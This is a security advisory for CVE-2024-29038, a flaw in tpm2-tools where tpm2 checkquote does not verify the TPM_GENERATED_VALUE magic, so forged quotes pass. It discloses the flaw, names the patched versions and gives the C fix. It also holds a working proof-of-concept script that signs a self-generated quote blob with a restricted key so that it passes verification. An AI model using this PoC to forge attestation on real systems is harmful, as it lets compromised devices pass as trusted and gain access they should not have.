Skip to content

tpm2 checkquote: Does not detect if quote was not generated by TPM

Moderate
AndreasFuchsTPM published GHSA-5495-c38w-gr6f Jun 25, 2024

Package

tpm2 checkquote (C)

Affected versions

>= 4.1-rc0

Patched versions

>= 5.5.1 >=5.6.1 >=5.7

Description

Summary

A malicious attacker can generate arbitrary quote data which is not detected by tpm2 checkquote.

Details

The Trusted Platform Module Library Part 1: Architecture [1] states in 9.5.3.2:

Similarly, an entity checking an attestation made by an AK must verify that the message signed begins with TPM_GENERATED_VALUE in order to verify the message is indeed a TPM-generated quote

Note that TPM_GENERATED_VALUE is defined in the Part 2: Structures specification [2] in section 6.2 as 0xFF544347.

The provided tpm2 checkquote tool provided by tpm2-tools misses to check that. This allows a malicious attacker to create an arbitrary quote, let it sign by the according TPM, send it to the attester, and eventually, the attester fails to detect that the quote data was not generated by the TPM, but by the malicious attacker.

PoC

I created a short script to demonstrate that. Note how tpm2 quote is not used, since the attacker generates the quote data (in the script that's SELF_GENERATED_QUOTE) instead of the TPM.

# This is TPMS_ATTEST data, with only the magic value changed,
# from 0xFF544347 to 0xFE544347
# This allows the data to be signed by a restricted key.
SELF_GENERATED_QUOTE="/lRDR4AYACIACz8O45ce3lakDjlXj8HzNVWsPqxmdQB4NDJvtr/FKOqBAAAAAAAAJrMS+AAAACcA\
AAAAAQEuAAwAAAAAAAAAAQAEAw8AAAAgkXJ+pdvylw/O77Y4ankX7IIHqJIcIcQiQ+it1rkAhaE="

echo ${SELF_GENERATED_QUOTE} | base64 -d > quote.msg

tpm2 createprimary -Q -C e -G rsa2048:rsassa-sha256:null -c ek.ctx -o ek.pub -a 'fixedtpm|fixedparent|sensitivedataorigin|userwithauth|sign|restricted'

tpm2 hash -o quote.digest -t quote.ticket -g sha256 -C e quote.msg

tpm2 sign -c ek.ctx -g sha256 -d -o quote.sig -t quote.ticket quote.digest

# This should fail since the magic code of the signed data is not 0xFF544347 aka TPM_GENERATED_VALUE
# But it doesn't because it's not checked
tpm2 checkquote -u ek.pub -m quote.msg -s quote.sig

Impact

The verifier can receive a state which does not represent the actual, possibly malicious state of the device under test.
The impact then depends on the further actions of the falsely successful attestation process.
For example, the malicious device might get access to data it shouldn't, or can use services it shouldn't be able to.

Fix

The fix is to check whether the magic value of the quote data is TPM_GENERATED_VALUE, just as how it already happens in tpm2_print

// check magic
if (attest.magic != TPM2_GENERATED_VALUE) {
LOG_ERR("Bad magic, got: 0x%x, expected: 0x%x",
attest.magic, TPM2_GENERATED_VALUE);
return false;
}

Which commit caused the issue?

There used to be a check for that in the old tpm2_util_get_digest_from_quote function. However, it was replaced by files_tpm2b_attest_to_tpms_attest in this commit 021403c (see end of diff of file tools/misc/tpm2_checkquote.c).
This new function doesn't do the mentioned check of the magic value.

References

[1] https://trustedcomputinggroup.org/wp-content/uploads/TCG_TPM2_r1p59_Part1_Architecture_pub.pdf
[2] https://trustedcomputinggroup.org/wp-content/uploads/TCG_TPM2_r1p59_Part2_Structures_pub.pdf

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2024-29038

Credits